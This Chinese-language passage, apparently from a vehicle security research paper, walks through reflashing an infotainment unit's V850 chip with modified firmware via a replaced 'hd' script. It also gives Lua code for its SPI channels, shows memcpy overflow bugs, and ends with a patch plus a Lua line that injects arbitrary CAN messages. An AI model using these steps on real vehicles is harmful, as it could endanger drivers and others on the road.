第一步是運行代碼來重啟v850進入引導程序模式,讓OMAP進入更新模式。下面是使用的LUA代碼:
onoff = require "onoff"
onoff.setUpdateMode(true)
onoff.setExpectedIOCBootMode("bolo")
onoff.reset( "bolo")
下面的代碼會讓V850恢復成應用模式,讓OMAP恢復到常規模式:
onoff = require "onoff"
onoff.setExpectedIOCBootMode( "app")
onoff.setUpdateMode(false)
onoff.reset( "app")
下一步是嘗試控制V850在bootrom模式中運行的代碼。以及OMAP處理器在更新模式中運行的代碼,從而讓我們繞過USB設備檢查。還記得,當OMAP處理啟動備份時,我們無法與其通訊(遠程接口無法啟用)。我們可以通過檢查更新模式中的機器是如何啟動的,從而在更新模式中運行代碼。文件’bootmode.sh’是首先執行的一個文件。
不幸運的是,我們無法修改’bootmode.sh’,因為這個文件位于一個不可寫目錄,下面是文件的一部分。
#!bash
#!/bin/sh
#
# Determine the boot mode from the third byte
# of the "swdl" section of the FRAM. A "U"
# indicates that we are in Update mode. Anything
# else indicates otherwise.
#
inject -e -i /dev/mmap/swdl -f /tmp/bootmode -o 2 -s 1
BOOTMODE=`cat /tmp/bootmode`
echo "Bootmode flag is $BOOTMODE"
rm -f /tmp/bootmode
if [ "$BOOTMODE" != "U" ]; then
exit 0 fi
echo "Software Update Mode Detected"
waitfor /fs/mmc0/app/bin/hd 2
if [ -x /fs/mmc0/app/bin/hd ]; then
echo "swdl contents"
hd -v -n8 /fs/fram/swdl
echo "system contents"
hd -v -n16 /fs/fram/system
else
echo "hd util not detected on MMC0"
fi
fi
你可以看到,如果OMAP芯片沒有在更新模式中,剩下的所有文件都不會執行。如果OMAP芯片在更新模式中,OMAP就會繼續進行并執行 ‘hd’程序。這個應用位于/fs/mmc0分區,可以修改成可寫的,所以我們就修改了這個分區。因此,為了能在OAMP芯片進入更新模式,讓v850進入引導程序模式執行代碼,我們只需要用我們選擇的代碼來替換‘/fs/mmc0/app/bin/hd’。因為兩個處理器都在適合的模式下,無論我們在’hd’中放什么,都能夠更新V850的固件。
下面是我們修改后的’hd’:
#!bash
#!/bin/sh
# update ioc
/fs/mmc0/charlie/iocupdate -c 4 -p /fs/mmc0/charlie/cmcioc.bin
# restart in app mode
lua /fs/mmc0/charlie/reset_appmode.lua
# sleep while we wait for the reset to happen
/bin/sleep 60
剩下要做的就是讓‘/fs/mmc0’ 分區可寫,在合適的位置放入合適的文件,然后重啟進入引導程序模式。這些cao'zu都是在文件‘omap.sh’ 中完成的。
此次更新總共需要大約25秒,包括了在應用模式中啟動備份所需要的時間。在應用模式中啟動備份后,新的V850固件就會運行。
OMAP芯片會使用一個串行外圍接口,實現一個適合的協議,與V850芯片通訊。這個通訊包括了刷新V850芯片,執行DTC操作和發送CAN信息。實際上,這個通訊是在一個高級別上,通過各種服務實現的。在低級別上,可以通過讀取和寫入‘/dev/spi3’來實現直接通訊。
不過,似乎沒有命令能讓OMAP芯片來要求V850將數據字節發送給任意CAN ID。但是,V850內置了一系列的命令ID,多數硬編碼數據都可以由OMAP芯片發送。作為一名攻擊者,我們想要的遠不止這些。
我們沒有完整逆向從OMAP芯片發送到SPI芯片的整個信息協議,但是我們在這列出了一些突出點。
當V850處于更新模式時,通訊和ISO 14230命令類似。如果你在逆向‘iocupdate’二進制細心一點,你就會注意到這一點。下面是發送的一些字節示例:
startDiagnosticSession: 10 85
ecuReset: 11 01
requestTransferExit: 37
requestDownload: 34 00 00 00 00 07 00 00
readEcuIdentification: 1A 87
當v850處于常規模式下時,通訊似乎是復合式的。其中的一些通訊字節指示了信息的長度。信息中的第一個字節實際指示的是 “通道”,其他的字節是數據。在稍微更高的級別中,每個通道都可以通過‘/dev/ipc/ch7
’ 訪問。
我們并不了解所有的通道,以及這些通道各自的用處。但是其中有一些突出的:
通道 6: ctrlChan, 用于發送預先編好的CAN信息
通道 7: 與DTC和診斷相關
通道 9: 從V850中獲取時間
通道 25: 某種秘鑰
如果你觀察‘platform_version.lua’ ,你就會知道如何才能獲取到V850上運行的固件版本。如果你通過通道7發送兩個特殊的字節,V850就會響應版本信息。
ipc_ch7:write(0xf0, 3)
...
...
local function onIpcMessage(msg)
if msg[1] ~= 240 then
return end
if msg[2] == 3 then
versions.ioc_app_version = msg[3] .. "." .. msg[4] .. "." .. msg[5] ipc_ch7:close()
end end
所以,如果你發送‘F0 03’,預計會返回5個字節,f0, 03, x, y, z;其中版本信息就是x.y.z。你可以通過OMAP芯片上的D-Bus服務來查詢版本信息,從而驗證這種方法是不是準確的。
service = require "service" x=service.invoke("com.harman.service.platform", "get_all_versions", {}) print(x, 1)
app_version: 14.05.3
ioc_app_version: 14.2.0
hmi_version: unknown
eq_version: 14.05.3
ioc_boot_version: 13.1.0
nav_version: 13.43.7
這里的這個簡單的程序就可以獲取V850芯片的編譯日期:
file = '/dev/ipc/ch7'
g = assert(ipc.open(file))
f = assert(io.open(file, "r+b"))
g:write(0xf0, 0x02)
bytes = f:read(0x18)
print(hex_dump(bytes))
g:close()
f:close()
下面是上述腳本的輸出。編譯日期是Jan 09 2014, 20:46(2014年1月9日,20:46):
# lua spi.lua
0000: 00 f0 02 42 3a 46 2f 4a ...B:F/J
0008: 61 6e 20 30 39 20 32 30 an 09 20
0010: 31 34 2f 32 30 3a 34 36 14/20:46
我們已經演示了如何將篡改后的固件刷入到V850中。但是,如果它們使用了加密簽名怎么辦,或者你想要在不重新編程的前提下,動態地影響V850,從而不留下分析證據?我們簡單地瀏覽一下負責解析V850固件中SPI信息的代碼,并確定了一下潛在的漏洞。因為我們不需要這些漏洞,而且也沒有V850調試工具,所以我們沒有驗證這些漏洞,但是這些漏洞似乎是內存崩潰問題。
雖然通過SPI接口來實現攻擊的機會并不大,但是由于通訊的受信特性,所以,代碼也不都是很安全。在v850應用固件中,SPI處理代碼就存在下面的兩個bug。
0004A212 ld.w -0x7BD8[gp], r16 -- 3ff7534
0004A216 ld.w 6[r16], r17
0004A21A mov r17, r6
0004A21C addi 5, r28, r7
0004A220 ld.bu 4[r28], r18
0004A224 mov r18, r8
0004A226 jarl memcpy, lp
在這個代碼中,r28指向了通過SPI發送的用戶控制數據。這段代碼的反編譯結果如下:
memcpy(fixed_buffer, attacker_controlled_data, attacker_controlled_len);
是一個類似的棧溢出:
0004A478 movea arg_50, sp, r6
0004A47C addi 5, r28, r7
0004A480 ld.bu 4[r28], r10
0004A484 mov r10, r8
0004A486 jarl memcpy, lp
我們已經在代碼庫中找到了另外的幾個內存崩潰bug,但是沒有列在這兒,因為我們的利用過程不需要。
如果你按照我們上述的介紹來修改固件,那么通過修改你就可以從OMAP芯片中發出任意的CAN信息。實現的方式有很多種,但是最簡單也最安全的方式是在SPI信息中發送CAN數據,這樣信息就會傳遞給V850中合適的函數。我們選擇了SPI通道7上的信息‘F0 02’。和前面的觀察一樣,這個信息對應的是獲取固件的編譯日期。我們選用這條命令,是因為我們沒有發現任何代碼會調用這條命令,所以即便我們搞砸了,也不會造成致命的錯誤。
處理通道7的函數位于0x4b2c6。處理‘F0 02’的代碼從0x4aea4 開始。我們的技術是通過修改固件并跳轉到ROM中一個沒有使用過的位置,在這里放置上我們選擇的任意代碼。在代碼結束時,我們就把執行返回到初始的位置。
圖-我們在固件中新添加的代碼
我們使用的函數是‘can_transmit_msg_1_or_3’ (0x6729c)。這個函數會從92個固定值中選取一個作為參數,這個92個值各自對應了CAN信息陣列中(ID,長度和數據)的一個獨立位置。對于大多數值而言,CAN ID是固定的。但是對于某些值來說(39和91為例),它們會從RAM中(不同其他從ROM中讀取)讀取CAN ID和LEN。
我們的代碼會從SPI信息中讀取CAN ID,并把CAN ID放到RAM中,從而讀取CAN ID的位置(gp- 0x2CC4 )。然后把SPI數據包中的數據復制到RAM中的合適位置。最后,復制數據長度,并把數據長度放到預期位置。我們的代碼會調用函數來傳輸這個信息,然后把一個值設置成r18(由我們的框架代碼破壞),并按預期返回。
接著,從頭單元中,類似下面的LUA代碼會向高速總線和中速總線發送一個CAN信息,分別取決于你使用的是39信息還是91信息。
ipc = require("ipc")
file = '/dev/ipc/ch7'
g = assert(ipc.open(file))
-- f0,02,39|91,LEN,CAN1,CAN2,CAN3,CAN4,DATA0,DATA1...
g:write(0xf0, 0x02, 91, 0x08, 0xf1, 0x86, 0xda, 0xf8, 0x05, 0x2F, 0x51, 0x06, 0x03, 0x10, 0x00, 0x00)